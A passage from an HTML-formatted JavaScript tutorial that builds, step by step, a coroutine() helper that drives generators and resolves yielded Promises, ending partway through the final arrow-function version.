&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;let readFile &lt;span style="color: #339933;"&gt;=&lt;/span&gt; promisify&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fs.&lt;span style="color: #660066;"&gt;readFile&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #339933;"&gt;*&lt;/span&gt; exampleGenerator&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  let result &lt;span style="color: #339933;"&gt;=&lt;/span&gt; yield readFile&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #3366CC;"&gt;'filename.txt'&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #3366CC;"&gt;'utf8'&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;
let gen &lt;span style="color: #339933;"&gt;=&lt;/span&gt; exampleGenerator&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
gen.&lt;span style="color: #660066;"&gt;next&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;.&lt;span style="color: #660066;"&gt;then&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; gen.&lt;span style="color: #660066;"&gt;next&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;This is the important paradigm shift!  Many programmers think of generators as something that their main program uses to create a sequence.  In this example, though, the "main program" was inside the generator, and the outside code served as a driver to take the Promise returned by the generator, wait for it to resolve, and then pass the data back into the generator.&lt;/p&gt;
&lt;p&gt;Look at the last line of code again.  &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;gen.next().value&lt;/code&gt;&lt;/span&gt; is a Promise, because that is what what returned by the function to the right of the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;yield&lt;/code&gt;&lt;/span&gt;.  When the Promise is fulfilled, the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;.then()&lt;/code&gt;&lt;/span&gt; callback is executed, which in turn feeds the result back into the generator.&lt;/p&gt;
&lt;p&gt;"But this only works for one Promise!" you say.  You are right.  We should be able to create a function, though, that can take any generator and "wrap" it so that it continues this asynchronous resolution continuously, until the generator terminates.&lt;/p&gt;
&lt;p&gt;That is exactly the purpose of the coroutine function.  So let's build it!&lt;/p&gt;
&lt;h2&gt;Building a Coroutine function&lt;/h2&gt;
&lt;p&gt;The shell of our &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;coroutine()&lt;/code&gt;&lt;/span&gt; function will take a generator as an argument and return a function that can be executed at a later time.  When the function is executed, it should pass its arguments into the generator function.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; coroutine&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    let gen &lt;span style="color: #339933;"&gt;=&lt;/span&gt; fn&lt;span style="color: #009900;"&gt;(&lt;/span&gt;...&lt;span style="color: #660066;"&gt;arguments&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;It is important to keep straight what the different parts are.  &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;fn&lt;/code&gt;&lt;/span&gt; is a generator function that is provided to &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;coroutine()&lt;/code&gt;&lt;/span&gt;.  &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;coroutine()&lt;/code&gt;&lt;/span&gt; returns an anonymous function that can be executed later.  When it is executed, &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;fn&lt;/code&gt;&lt;/span&gt; (the generator) is called with the initialization arguments, and a reference to the initialized generator (&lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;gen&lt;/code&gt;&lt;/span&gt;) is stored.  Now, we just need call &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;gen.next()&lt;/code&gt;&lt;/span&gt; over and over, resolving asynchronous code and passing it to the next &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;gen.next()&lt;/code&gt;&lt;/span&gt;.  We will do this with a local function.  Dealing with Promises is a bit cumbersome, however, so let's start with something easier.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; coroutine&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    let gen &lt;span style="color: #339933;"&gt;=&lt;/span&gt; fn&lt;span style="color: #009900;"&gt;(&lt;/span&gt;...&lt;span style="color: #660066;"&gt;arguments&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;result&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
      let yielded &lt;span style="color: #339933;"&gt;=&lt;/span&gt; gen.&lt;span style="color: #660066;"&gt;next&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;result&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
      &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #339933;"&gt;!&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;done&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
        next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
      &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
    &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;
 
coroutine&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #339933;"&gt;*&lt;/span&gt; simpleYieldValue&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  let x &lt;span style="color: #339933;"&gt;=&lt;/span&gt; yield &lt;span style="color: #CC0000;"&gt;3&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Look at the yield in &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;simpleYieldValue()&lt;/code&gt;&lt;/span&gt;.  The value &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;3&lt;/code&gt;&lt;/span&gt; is yielded, which is returned to the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;coroutine()&lt;/code&gt;&lt;/span&gt; function.  This value is then passed to &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;next()&lt;/code&gt;&lt;/span&gt;, which is fed back into &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;gen.next()&lt;/code&gt;&lt;/span&gt;.  It is important that you take the time to understand this exectuion flow.  Don't continue reading until you have a firm grasp on how this code works.&lt;/p&gt;
&lt;p&gt;There is only one more type of value that our &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;coroutine()&lt;/code&gt;&lt;/span&gt; function needs to work with.  It currently only handles synchronous values.  What if the value given to &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;yield&lt;/code&gt;&lt;/span&gt;, though, is a Promise?  The answer is actually quite elegant.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; coroutine&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    let gen &lt;span style="color: #339933;"&gt;=&lt;/span&gt; fn&lt;span style="color: #009900;"&gt;(&lt;/span&gt;...&lt;span style="color: #660066;"&gt;arguments&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;result&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
      let yielded &lt;span style="color: #339933;"&gt;=&lt;/span&gt; gen.&lt;span style="color: #660066;"&gt;next&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;result&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
      &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #339933;"&gt;!&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;done&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
        &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;instanceof&lt;/span&gt; Promise&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
          yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;
            .&lt;span style="color: #660066;"&gt;then&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
              next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
            &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt;
            &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
              next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
            &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
        &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
        &lt;span style="color: #000066; font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
          next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
        &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
      &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
    &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;In this most recent incarnation, if &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;yielded.value&lt;/code&gt;&lt;/span&gt; is a Promise, then all that we need to do is to add a &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;.then()&lt;/code&gt;&lt;/span&gt; to the &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;yielded.value&lt;/code&gt;&lt;/span&gt;, and provide &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;success&lt;/code&gt;&lt;/span&gt; and &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;error&lt;/code&gt;&lt;/span&gt; handlers, each of which simply call &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;next()&lt;/code&gt;&lt;/span&gt; again and pass on the value.  Here I have made a decision to pass the error value back to the generator in the same way that a success value would be passed back, a method which I prefer over &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;try..catch&lt;/code&gt;&lt;/span&gt; blocks.&lt;/p&gt;
&lt;p&gt;There is one last improvement to make.  I would like for the return value of &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;coroutine()&lt;/code&gt;&lt;/span&gt; (which is a function), when executed, to return a Promise itself.  There is a two-fold benefit to this.  First of all, it would allow you to run code after the coroutine has finished via &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;.then()&lt;/code&gt;&lt;/span&gt;.  Secondly, it would allow a coroutine to be &lt;span class="geshifilter"&gt;&lt;code class="text geshifilter-text"&gt;yield&lt;/code&gt;&lt;/span&gt;ed, and therefore nested one inside another.  The change to the code isn't that difficult, either.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; coroutine&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    let gen &lt;span style="color: #339933;"&gt;=&lt;/span&gt; fn&lt;span style="color: #009900;"&gt;(&lt;/span&gt;...&lt;span style="color: #660066;"&gt;arguments&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;new&lt;/span&gt; Promise&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;accept&lt;span style="color: #339933;"&gt;,&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
      next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
      &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;result&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
        let yielded &lt;span style="color: #339933;"&gt;=&lt;/span&gt; gen.&lt;span style="color: #660066;"&gt;next&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;result&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
        &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #339933;"&gt;!&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;done&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
          &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;instanceof&lt;/span&gt; Promise&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
            yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;
              .&lt;span style="color: #660066;"&gt;then&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
                next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
              &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt;
              &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
                next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
              &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
          &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
          &lt;span style="color: #000066; font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
            next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
          &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
        &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
        &lt;span style="color: #000066; font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
          &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;instanceof&lt;/span&gt; Error&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
            reject&lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
          &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
          &lt;span style="color: #000066; font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
            accept&lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
          &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
        &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
      &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
    &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The version of the code that we just wrote will do everything that we need, but it's a bit verbose for my taste.  Because we are using ES6, we can reduce the amount of boilerplate code thanks to the arrow function syntax:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;div class="geshifilter"&gt;&lt;div class="javascript geshifilter-javascript" style="font-family: monospace;"&gt;&lt;pre style="font-family: monospace; font-weight: normal; font-style: normal;"&gt;&lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; coroutine&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fn&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
  &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
    let gen &lt;span style="color: #339933;"&gt;=&lt;/span&gt; fn&lt;span style="color: #009900;"&gt;(&lt;/span&gt;...&lt;span style="color: #660066;"&gt;arguments&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
    &lt;span style="color: #000066; font-weight: bold;"&gt;return&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;new&lt;/span&gt; Promise&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;accept&lt;span style="color: #339933;"&gt;,&lt;/span&gt; reject&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
      next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
      &lt;span style="color: #000066; font-weight: bold;"&gt;function&lt;/span&gt; next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;result&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
        let yielded &lt;span style="color: #339933;"&gt;=&lt;/span&gt; gen.&lt;span style="color: #660066;"&gt;next&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;result&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
        &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #339933;"&gt;!&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;done&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
          &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;instanceof&lt;/span&gt; Promise&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
            yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;.&lt;span style="color: #660066;"&gt;then&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;data&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; err &lt;span style="color: #339933;"&gt;=&amp;gt;&lt;/span&gt; next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;err&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
          &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
          &lt;span style="color: #000066; font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
            next&lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;
          &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
        &lt;span style="color: #009900;"&gt;}&lt;/span&gt;
        &lt;span style="color: #000066; font-weight: bold;"&gt;else&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
          &lt;span style="color: #000066; font-weight: bold;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;yielded.&lt;span style="color: #660066;"&gt;value&lt;/span&gt; &lt;span style="color: #000066; font-weight: bold;"&gt;instanceof&lt;/span&gt; Error&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;
